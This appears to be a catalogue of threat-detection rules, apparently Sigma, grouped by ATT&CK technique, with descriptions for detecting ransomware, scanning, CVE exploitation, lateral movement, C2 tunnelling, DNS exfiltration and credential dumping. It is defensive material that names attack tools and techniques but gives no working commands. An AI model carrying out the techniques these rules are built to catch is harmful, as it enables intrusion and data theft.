attack.t1133	15	Show Rules (15) OpenCanary - SSH Login Attempt - Level: high Description: Detects instances where an SSH service on an OpenCanary node has had a login attempt. OpenCanary - SSH New Connection Attempt - Level: high Description: Detects instances where an SSH service on an OpenCanary node has had a connection attempt. OpenCanary - Telnet Login Attempt - Level: high Description: Detects instances where a Telnet service on an OpenCanary node has had a login attempt. Remote Access Tool - Team Viewer Session Started On Linux Host - Level: low Description: Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder. Remote Access Tool - Team Viewer Session Started On MacOS Host - Level: low Description: Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder. External Remote RDP Logon from Public IP - Level: medium Description: Detects successful logon from public IP address via RDP. This can indicate a publicly-exposed RDP port. External Remote SMB Logon from Public IP - Level: high Description: Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port. Failed Logon From Public IP - Level: medium Description: Detects a failed logon attempt from a public IP. A login from a public IP can indicate a misconfigured firewall or network boundary. Unusual File Modification by dns.exe - Level: high Description: Detects an unexpected file being modified by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed) Unusual File Deletion by Dns.exe - Level: high Description: Detects an unexpected file being deleted by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed) Unusual Child Process of dns.exe - Level: high Description: Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed) Remote Access Tool - ScreenConnect Installation Execution - Level: medium Description: Detects ScreenConnect program starts that establish a remote access to a system. Remote Access Tool - Team Viewer Session Started On Windows Host - Level: low Description: Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder. User Added to Remote Desktop Users Group - Level: high Description: Detects addition of users to the local Remote Desktop Users group via "Net" or "Add-LocalGroupMember". Running Chrome VPN Extensions via the Registry 2 VPN Extension - Level: high Description: Running Chrome VPN Extensions via the Registry install 2 vpn extension
attack.t1486	15	Show Rules (15) Antivirus Ransomware Detection - Level: critical Description: Detects a highly relevant Antivirus alert that reports ransomware. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place. AWS EC2 Disable EBS Encryption - Level: medium Description: Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region. Disabling default encryption does not change the encryption status of your existing volumes. Microsoft 365 - Potential Ransomware Activity - Level: medium Description: Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware. Suspicious Creation TXT File in User Desktop - Level: high Description: Ransomware create txt file in the user Desktop Suspicious Appended Extension - Level: medium Description: Detects file renames where the target filename uses an uncommon double extension. Could indicate potential ransomware activity renaming files and adding a custom extension to the encrypted files, such as ".jpg.crypted", ".docx.locky", etc. Load Of RstrtMgr.DLL By A Suspicious Process - Level: high Description: Detects the load of RstrtMgr DLL (Restart Manager) by a suspicious process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes. Load Of RstrtMgr.DLL By An Uncommon Process - Level: low Description: Detects the load of RstrtMgr DLL (Restart Manager) by an uncommon process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes. Portable Gpg.EXE Execution - Level: medium Description: Detects the execution of "gpg.exe" from uncommon location. Often used by ransomware and loaders to decrypt/encrypt data. Suspicious Reg Add BitLocker - Level: high Description: Detects suspicious addition to BitLocker related registry keys via the reg.exe utility Renamed Gpg.EXE Execution - Level: high Description: Detects the execution of a renamed "gpg.exe". Often used by ransomware and loaders to decrypt/encrypt data. WannaCry Ransomware Activity - Level: critical Description: Detects WannaCry ransomware activity LockerGoga Ransomware Activity - Level: critical Description: Detects LockerGoga ransomware activity via specific command line. Potential Conti Ransomware Activity - Level: critical Description: Detects a specific command used by the Conti ransomware group BlueSky Ransomware Artefacts - Level: high Description: Detect access to files and shares with names and extensions used by BlueSky ransomware which could indicate a current or previous encryption attempt. Suspicious Multiple File Rename Or Delete Occurred - Level: medium Description: Detects multiple file rename or delete events occurrence within a specified period of time by a same user (these events may signalize about ransomware activity).
attack.t1046	15	Show Rules (15) Linux Network Service Scanning - Auditd - Level: low Description: Detects enumeration of local or remote network services. Pnscan Binary Data Transmission Activity - Level: medium Description: Detects command line patterns associated with the use of Pnscan for sending and receiving binary data across the network. This behavior has been identified in a Linux malware campaign targeting Docker, Apache Hadoop, Redis, and Confluence and was previously used by the threat actor known as TeamTNT Linux Network Service Scanning Tools Execution - Level: low Description: Detects execution of network scanning and reconnaisance tools. These tools can be used for the enumeration of local or remote network services for example. MacOS Network Service Scanning - Level: low Description: Detects enumeration of local or remote network services. Advanced IP Scanner - File Event - Level: medium Description: Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups. Python Initiated Connection - Level: medium Description: Detects a Python process initiating a network connection. While this often relates to package installation, it can also indicate a potential malicious script communicating with a C&C server. HackTool - WinPwn Execution - ScriptBlock - Level: high Description: Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. HackTool - winPEAS Execution - Level: high Description: WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz HackTool - WinPwn Execution - Level: high Description: Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. PUA - Advanced IP Scanner Execution - Level: medium Description: Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups. PUA - Advanced Port Scanner Execution - Level: medium Description: Detects the use of Advanced Port Scanner. PUA - SoftPerfect Netscan Execution - Level: medium Description: Detects usage of SoftPerfect's "netscan.exe". An application for scanning networks. It is actively used in-the-wild by threat actors to inspect and understand the network architecture of a victim. PUA - Nmap/Zenmap Execution - Level: medium Description: Detects usage of namp/zenmap. Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation Network Scans Count By Destination IP - Level: medium Description: Detects many failed connection attempts to different ports or hosts Network Scans Count By Destination Port - Level: medium Description: Detects many failed connection attempts to different ports or hosts
attack.t1210	15	Show Rules (15) OMIGOD HTTP No Authentication RCE - Level: high Description: Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request. Apache Threading Error - Level: medium Description: Detects an issue in apache logs that reports threading related errors Audit CVE Event - Level: critical Description: Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log. Scanner PoC for CVE-2019-0708 RDP RCE Vuln - Level: high Description: Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep Zerologon Exploitation Using Well-known Tools - Level: critical Description: This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with "kali" hostname. Potential RDP Exploit CVE-2019-0708 - Level: medium Description: Detect suspicious error on protocol RDP, potential CVE-2019-0708 DNS Query Request By QuickAssist.EXE - Level: low Description: Detects DNS queries initiated by "QuickAssist.exe" to Microsoft Quick Assist primary endpoint that is used to establish a session. HackTool - SharpWSUS/WSUSpendu Execution - Level: high Description: Detects the execution of SharpWSUS or WSUSpendu, utilities that allow for lateral movement through WSUS. Windows Server Update Services (WSUS) is a critical component of Windows systems and is frequently configured in a way that allows an attacker to circumvent internal networking limitations. Suspicious SysAidServer Child - Level: medium Description: Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions) Terminal Service Process Spawn - Level: high Description: Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708) WannaCry Ransomware Activity - Level: critical Description: Detects WannaCry ransomware activity Exploitation Attempt Of CVE-2020-1472 - Execution of ZeroLogon PoC - Level: high Description: Detects the execution of the commonly used ZeroLogon PoC executable. Possible Exploitation of Exchange RCE CVE-2021-42321 - Level: high Description: Detects log entries that appear in exploitation attempts against MS Exchange RCE CVE-2021-42321 Potential CVE-2023-46214 Exploitation Attempt - Level: medium Description: Detects potential exploitation of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing Exploitation Attempt Of CVE-2023-46214 Using Public POC Code - Level: high Description: Detects exploitation attempt of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing using known public proof of concept code
attack.s0029	14	Show Rules (14) PsExec Tool Execution - Level: low Description: Detects PsExec service execution via default service image name PsExec Service Start - Level: low Description: Detects a PsExec service start HackTool Service Registration or Execution - Level: high Description: Detects installation or execution of services PsExec Service Installation - Level: medium Description: Detects PsExec service installation and execution events CSExec Service File Creation - Level: medium Description: Detects default CSExec service filename which indicates CSExec service installation and execution RemCom Service File Creation - Level: medium Description: Detects default RemCom service filename which indicates RemCom service installation and execution PsExec Service File Creation - Level: low Description: Detects default PsExec service filename which indicates PsExec service installation and execution PSEXEC Remote Execution File Artefact - Level: high Description: Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system PsExec Tool Execution From Suspicious Locations - PipeName - Level: medium Description: Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack PUA - NirCmd Execution - Level: medium Description: Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity PUA - NirCmd Execution As LOCAL SYSTEM - Level: high Description: Detects the use of NirCmd tool for command execution as SYSTEM user PUA - NSudo Execution - Level: high Description: Detects the use of NSudo tool for command execution PUA - RunXCmd Execution - Level: high Description: Detects the use of the RunXCmd tool to execute commands with System or TrustedInstaller accounts PsExec Default Named Pipe - Level: low Description: Detects PsExec service default pipe creation
attack.t1102	13	Show Rules (13) Suspicious Non-Browser Network Communication With Reddit API - Level: medium Description: Detects an a non-browser process interacting with the Reddit API which could indicate use of a covert C2 such as RedditC2 Communication To Ngrok Tunneling Service - Linux - Level: high Description: Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors Communication To LocaltoNet Tunneling Service Initiated - Linux - Level: high Description: Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls. Network Connection Initiated To AzureWebsites.NET By Non-Browser Process - Level: medium Description: Detects an initiated network connection by a non browser process on the system to "azurewebsites.net". The latter was often used by threat actors as a malware hosting and exfiltration site. New Connection Initiated To Potential Dead Drop Resolver Domain - Level: high Description: Detects an executable, which is not an internet browser or known application, initiating network connections to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks. In this context attackers leverage known websites such as "facebook", "youtube", etc. In order to pass through undetected. Suspicious Non-Browser Network Communication With Google API - Level: medium Description: Detects a non-browser process interacting with the Google API which could indicate the use of a covert C2 such as Google Sheet C2 (GC2-sheet) Communication To LocaltoNet Tunneling Service Initiated - Level: high Description: Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls. Communication To Ngrok Tunneling Service Initiated - Level: high Description: Detects an executable initiating a network connection to "ngrok" tunneling domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download. Potentially Suspicious Network Connection To Notion API - Level: low Description: Detects a non-browser process communicating with the Notion API. This could indicate potential use of a covert C2 channel such as "OffensiveNotion C2" Suspicious Non-Browser Network Communication With Telegram API - Level: medium Description: Detects an a non-browser process interacting with the Telegram API which could indicate use of a covert C2 Cloudflared Tunnel Connections Cleanup - Level: medium Description: Detects execution of the "cloudflared" tool with the tunnel "cleanup" flag in order to cleanup tunnel connections. Cloudflared Tunnel Execution - Level: medium Description: Detects execution of the "cloudflared" tool to connect back to a tunnel. This was seen used by threat actors to maintain persistence and remote access to compromised networks. Suspicious Child Process Of Manage Engine ServiceDesk - Level: high Description: Detects suspicious child processes of the "Manage Engine ServiceDesk Plus" Java web service
attack.t1485	13	Show Rules (13) Run from a Zip File - Level: medium Description: Payloads may be compressed, archived, or encrypted in order to avoid detection AWS EFS Fileshare Mount Modified or Deleted - Level: medium Description: Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts. AWS EKS Cluster Created or Deleted - Level: low Description: Identifies when an EKS cluster is created or deleted. Azure Device or Configuration Modified or Deleted - Level: medium Description: Identifies when a device or device configuration in azure is modified or deleted. Microsoft 365 - Unusual Volume of File Deletion - Level: medium Description: Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files. Overwriting the File with Dev Zero or Null - Level: low Description: Detects overwriting (effectively wiping/deleting) of a file. DD File Overwrite - Level: low Description: Detects potential overwriting and deletion of a file using DD. Potential Secure Deletion with SDelete - Level: medium Description: Detects files that have extensions commonly seen while SDelete is used to wipe files. Deleted Data Overwritten Via Cipher.EXE - Level: medium Description: Detects usage of the "cipher" built-in utility in order to overwrite deleted data from disk. Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives Fsutil Suspicious Invocation - Level: high Description: Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc). Might be used by ransomwares during the attack (seen by NotPetya and others). Renamed Sysinternals Sdelete Execution - Level: high Description: Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn't do (the renaming) Potential File Overwrite Via Sysinternals SDelete - Level: high Description: Detects the use of SDelete to erase a file not the free space Potential BlackByte Ransomware Activity - Level: high Description: Detects command line patterns used by BlackByte ransomware in different operations
attack.t1053	13	Show Rules (13) Abusing Windows Telemetry For Persistence - Registry - Level: high Description: Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type. Remote Schedule Task Lateral Movement via ATSvc - Level: high Description: Detects remote RPC calls to create or execute a scheduled task via ATSvc Remote Schedule Task Lateral Movement via ITaskSchedulerService - Level: high Description: Detects remote RPC calls to create or execute a scheduled task Remote Schedule Task Lateral Movement via SASec - Level: high Description: Detects remote RPC calls to create or execute a scheduled task via SASec Cisco Modify Configuration - Level: medium Description: Modifications to a config that will serve an adversary's impacts or persistence Suspicious Scheduled Task Write to System32 Tasks - Level: high Description: Detects the creation of tasks from processes executed from suspicious locations HackTool - CrackMapExec Execution - Level: high Description: This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced. HackTool - CrackMapExec Execution Patterns - Level: high Description: Detects various execution patterns of the CrackMapExec pentesting framework HackTool - SharPersist Execution - Level: high Description: Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms Scheduled TaskCache Change by Uncommon Program - Level: high Description: Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious Defrag Deactivation - Security - Level: medium Description: Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group HAFNIUM Exchange Exploitation Activity - Level: critical Description: Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers Potential ACTINIUM Persistence Activity - Level: high Description: Detects specific process parameters as used by ACTINIUM scheduled task persistence creation.
attack.t1556	13	Show Rules (13) AWS Identity Center Identity Provider Change - Level: high Description: Detects a change in the AWS Identity Center (FKA AWS SSO) identity provider. A change in identity provider allows an attacker to establish persistent access or escalate privileges via user impersonation. Disabled MFA to Bypass Authentication Mechanisms - Level: medium Description: Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms. CA Policy Removed by Non Approved Actor - Level: medium Description: Monitor and alert on conditional access changes where non approved actor removed CA Policy. CA Policy Updated by Non Approved Actor - Level: medium Description: Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare "old" vs "new" value. Certificate-Based Authentication Enabled - Level: medium Description: Detects when certificate based authentication has been enabled in an Azure Active Directory tenant. New Root Certificate Authority Added - Level: medium Description: Detects newly added root certificate authority to an AzureAD tenant to support certificate based authentication. Change to Authentication Method - Level: medium Description: Change to authentication method could be an indicator of an attacker adding an auth method to the account so they can have continued access. User Added To Group With CA Policy Modification Access - Level: medium Description: Monitor and alert on group membership additions of groups that have CA policy modification access User Removed From Group With CA Policy Modification Access - Level: medium Description: Monitor and alert on group membership removal of groups that have CA policy modification access Github High Risk Configuration Disabled - Level: high Description: Detects when a user disables a critical security feature for an organization. Disabling Multi Factor Authentication - Level: high Description: Detects disabling of Multi Factor Authentication. Possible Shadow Credentials Added - Level: high Description: Detects possible addition of shadow credentials to an active directory object. Directory Service Restore Mode(DSRM) Registry Value Tampering - Level: high Description: Detects changes to "DsrmAdminLogonBehavior" registry value. During a Domain Controller (DC) promotion, administrators create a Directory Services Restore Mode (DSRM) local administrator account with a password that rarely changes. The DSRM account is an “Administrator” account that logs in with the DSRM mode when the server is booting up to restore AD backups or recover the server from a failure. Attackers could abuse DSRM account to maintain their persistence and access to the organization's Active Directory. If the "DsrmAdminLogonBehavior" value is set to "0", the administrator account can only be used if the DC starts in DSRM. If the "DsrmAdminLogonBehavior" value is set to "1", the administrator account can only be used if the local AD DS service is stopped. If the "DsrmAdminLogonBehavior" value is set to "2", the administrator account can always be used.
attack.t1012	13	Show Rules (13) Azure AD Health Monitoring Agent Registry Keys Access - Level: medium Description: This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent. This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\SOFTWARE\Microsoft\Microsoft Online\Reporting\MonitoringAgent. Azure AD Health Service Agents Registry Keys Access - Level: medium Description: This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS). Information from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation). This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\SOFTWARE\Microsoft\ADHealthAgent. Make sure you set the SACL to propagate to its sub-keys. SAM Registry Hive Handle Request - Level: high Description: Detects handles requested to SAM registry hive SysKey Registry Keys Access - Level: high Description: Detects handle requests and access operations to specific registry keys to calculate the SysKey HackTool - PCHunter Execution - Level: high Description: Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff Exports Critical Registry Keys To a File - Level: high Description: Detects the export of a crital Registry key to a file. Exports Registry Key To a File - Level: low Description: Detects the export of the target Registry key to a file. Potential Configuration And Service Reconnaissance Via Reg.EXE - Level: medium Description: Detects the usage of "reg.exe" in order to query reconnaissance information from the registry. Adversaries may interact with the Windows registry to gather information about credentials, the system, configuration, and installed software. Potential Baby Shark Malware Activity - Level: high Description: Detects activity that could be related to Baby Shark malware Operation Wocao Activity - Level: high Description: Detects activity mentioned in Operation Wocao report Operation Wocao Activity - Security - Level: high Description: Detects activity mentioned in Operation Wocao report Remote Registry Management Using Reg Utility - Level: medium Description: Remote registry management using REG utility from non-admin workstation Potential Registry Reconnaissance Via PowerShell Script - Level: medium Description: Detects PowerShell scripts with potential registry reconnaissance capabilities. Adversaries may interact with the Windows registry to gather information about the system credentials, configuration, and installed software.
attack.t1005	12	Show Rules (12) iOS Implant URL Pattern - Level: critical Description: Detects URL pattern used by iOS Implant OpenCanary - SMB File Open Request - Level: high Description: Detects instances where an SMB service on an OpenCanary node has had a file open request. AWS EC2 VM Export Failure - Level: low Description: An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance. Cisco Collect Data - Level: low Description: Collect pertinent data from the configuration files ADFS Database Named Pipe Connection By Uncommon Tool - Level: medium Description: Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database). Used to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens. Esentutl Steals Browser Information - Level: medium Description: One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe Veeam Backup Database Suspicious Query - Level: medium Description: Detects potentially suspicious SQL queries using SQLCmd targeting the Veeam backup databases in order to steal information. VeeamBackup Database Credentials Dump Via Sqlcmd.EXE - Level: high Description: Detects dump of credentials in VeeamBackup dbo SQLite Chromium Profile Data DB Access - Level: high Description: Detect usage of the "sqlite" binary to query databases in Chromium-based browsers for potential data stealing. SQLite Firefox Profile Data DB Access - Level: high Description: Detect usage of the "sqlite" binary to query databases in Firefox and other Gecko-based browsers for potential data stealing. Potential Conti Ransomware Database Dumping Activity Via SQLCmd - Level: high Description: Detects a command used by conti to dump database Potential Exfiltration of Compressed Files - Level: medium Description: This rule detects potential exfiltration by looking for a few compression extensions in the uri and signs of compression in the mime type, file type, and http body
attack.t1543	12	Show Rules (12) Usage Of Malicious POORTRY Signed Driver - Level: high Description: Detects the load of the signed poortry driver used by UNC3944 as reported by Mandiant and Sentinel One. Vulnerable Dell BIOS Update Driver Load - Level: high Description: Detects the load of the vulnerable Dell BIOS update driver as reported in CVE-2021-21551 Vulnerable Lenovo Driver Load - Level: high Description: Detects the load of the vulnerable Lenovo driver as reported in CVE-2022-3699 which can be used to escalate privileges CodeIntegrity - Blocked Image/Driver Load For Policy Violation - Level: high Description: Detects blocked load events that did not meet the authenticode signing level requirements or violated the code integrity policy. CodeIntegrity - Blocked Driver Load With Revoked Certificate - Level: high Description: Detects blocked load attempts of revoked drivers Service Installed By Unusual Client - Security - Level: high Description: Detects a service installed by a client which has PID 0 or whose parent has PID 0 KrbRelayUp Service Installation - Level: high Description: Detects service creation from KrbRelayUp tool used for privilege escalation in Windows domain environments where LDAP signing is not enforced (the default settings) Service Installed By Unusual Client - System - Level: high Description: Detects a service installed by a client which has PID 0 or whose parent has PID 0 PUA - System Informer Driver Load - Level: medium Description: Detects driver load of the System Informer tool PUA - Process Hacker Driver Load - Level: high Description: Detects driver load of the Process Hacker tool PUA - Process Hacker Execution - Level: medium Description: Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc). Process Hacker is a tool to view and manipulate processes, kernel options and other low level options. Threat actors abused older vulnerable versions to manipulate system processes. PUA - System Informer Execution - Level: medium Description: Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations
attack.t1048	12	Show Rules (12) Dnscat Execution - Level: critical Description: Dnscat exfiltration tool execution DNS TOR Proxies - Level: medium Description: Identifies IPs performing DNS lookups associated with common Tor proxies. Tap Driver Installation - Security - Level: low Description: Detects the installation of a well-known TAP driver service. This could be a sign of potential preparation for data exfiltration using tunnelling techniques. Tap Driver Installation - Level: medium Description: Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques Powershell DNSExfiltration - Level: high Description: DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel Data Export From MSSQL Table Via BCP.EXE - Level: medium Description: Detects the execution of the BCP utility in order to export data from the database. Attackers were seen saving their malware to a database column or table and then later extracting it via "bcp.exe" into a file. Copy From Or To Admin Share Or Sysvol Folder - Level: medium Description: Detects a copy command or a copy utility execution to or from an Admin share or remote Suspicious Redirection to Local Admin Share - Level: high Description: Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers Tap Installer Execution - Level: medium Description: Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques High DNS subdomain requests rate per domain - Level: high Description: High rate of unique Fully Qualified Domain Names (FQDN) requests per root domain (eTLD+1) in short period of time Large domain name request - Level: high Description: Detects large DNS domain names Tap Driver Installation - Level: medium Description: Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques
attack.t1489	12	Show Rules (12) Stop Windows Service - Level: low Description: Detects a Windows service to be stopped Azure Application Deleted - Level: medium Description: Identifies when a application is deleted in Azure. Application Uninstalled - Level: low Description: An application has been removed. Check if it is critical. Important Scheduled Task Deleted - Level: high Description: Detects when adversaries try to stop system services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities Stop Windows Service Via Net.EXE - Level: low Description: Detects the stopping of a Windows service via the "net" utility. Stop Windows Service Via PowerShell Stop-Service - Level: low Description: Detects the stopping of a Windows service via the PowerShell Cmdlet "Stop-Service" Delete Important Scheduled Task - Level: high Description: Detects when adversaries stop services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities Delete All Scheduled Tasks - Level: high Description: Detects the usage of schtasks with the delete flag and the asterisk symbol to delete all tasks from the schedule of the local computer, including tasks scheduled by other users. Disable Important Scheduled Task - Level: high Description: Detects when adversaries stop services or processes by disabling their respective scheduled tasks in order to conduct data destructive activities Stop Windows Service Via Sc.EXE - Level: low Description: Detects the stopping of a Windows service via the "sc.exe" utility Suspicious Windows Service Tampering - Level: high Description: Detects the usage of binaries such as 'net', 'sc' or 'powershell' in order to stop, pause, disable or delete critical or important Windows services such as AV, Backup, etc. As seen being used in some ransomware scripts Process Terminated Via Taskkill - Level: low Description: Detects execution of "taskkill.exe" in order to stop a service or a process. Look for suspicious parents executing this command in order to hunt for potential malicious activity. Attackers might leverage this in order to conduct data destruction or data encrypted for impact on the data stores of services like Exchange and SQL Server.
attack.t1546	11	Show Rules (11) Suspicious Get-WmiObject - Level: low Description: The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers New Outlook Macro Created - Level: medium Description: Detects the creation of a macro file for Outlook. Suspicious Outlook Macro Created - Level: high Description: Detects the creation of a macro file for Outlook. Suspicious Get-Variable.exe Creation - Level: high Description: Get-Variable is a valid PowerShell cmdlet WindowsApps is by default in the path where PowerShell is executed. So when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet. Control Panel Items - Level: high Description: Detects the malicious use of a control panel item COM Hijack via Sdclt - Level: high Description: Detects changes to 'HKCU\Software\Classes\Folder\shell\open\command\DelegateExecute' Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting - Level: high Description: Detects the modification of Outlook setting "LoadMacroProviderOnBoot" which if enabled allows the automatic loading of any configured VBA project/module Outlook Macro Execution Without Warning Setting Enabled - Level: high Description: Detects the modification of Outlook security setting to allow unprompted execution of macros. HAFNIUM Exchange Exploitation Activity - Level: critical Description: Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers SOURGUM Actor Behaviours - Level: high Description: Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM MSSQL Extended Stored Procedure Backdoor Maggie - Level: high Description: This rule detects the execution of the extended storage procedure backdoor named Maggie in the context of Microsoft SQL server
attack.t1021	11	Show Rules (11) Lateral Movement Indicator ConDrv - Level: low Description: This event was observed on the target host during lateral movement. The process name within the event contains the process spawned post compromise. Account Name within the event contains the compromised user account name. This event should to be correlated with 4624 and 4688 for further intrusion context. OpenCanary - FTP Login Attempt - Level: high Description: Detects instances where an FTP service on an OpenCanary node has had a login attempt. OpenCanary - SMB File Open Request - Level: high Description: Detects instances where an SMB service on an OpenCanary node has had a file open request. OpenCanary - SNMP OID Request - Level: high Description: Detects instances where an SNMP service on an OpenCanary node has had an OID request. OpenCanary - SSH Login Attempt - Level: high Description: Detects instances where an SSH service on an OpenCanary node has had a login attempt. OpenCanary - SSH New Connection Attempt - Level: high Description: Detects instances where an SSH service on an OpenCanary node has had a connection attempt. OpenCanary - VNC Connection Attempt - Level: high Description: Detects instances where a VNC service on an OpenCanary node has had a connection attempt. Privilege Escalation via Named Pipe Impersonation - Level: high Description: Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity. Potential Remote Desktop Tunneling - Level: medium Description: Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination. Psexec Execution - Level: medium Description: Detects user accept agreement execution in psexec commandline New RDP Connection Initiated From Domain Controller - Level: high Description: Detects an RDP connection originating from a domain controller.
attack.t1552	11	Show Rules (11) Kubernetes Admission Controller Modification - Level: medium Description: Detects when a modification (create, update or replace) action is taken that affects mutating or validating webhook configurations, as they can be used by an adversary to achieve persistence or exfiltrate access credentials. Azure Keyvault Key Modified or Deleted - Level: medium Description: Identifies when a Keyvault Key is modified or deleted in Azure. Azure Key Vault Modified or Deleted - Level: medium Description: Identifies when a key vault is modified or deleted. Azure Keyvault Secrets Modified or Deleted - Level: medium Description: Identifies when secrets are modified or deleted in Azure. Azure Kubernetes Admission Controller - Level: medium Description: Identifies when an admission controller is executed in Azure Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information. Application AppID Uri Configuration Changes - Level: high Description: Detects when a configuration change is made to an applications AppID URI. Added Owner To 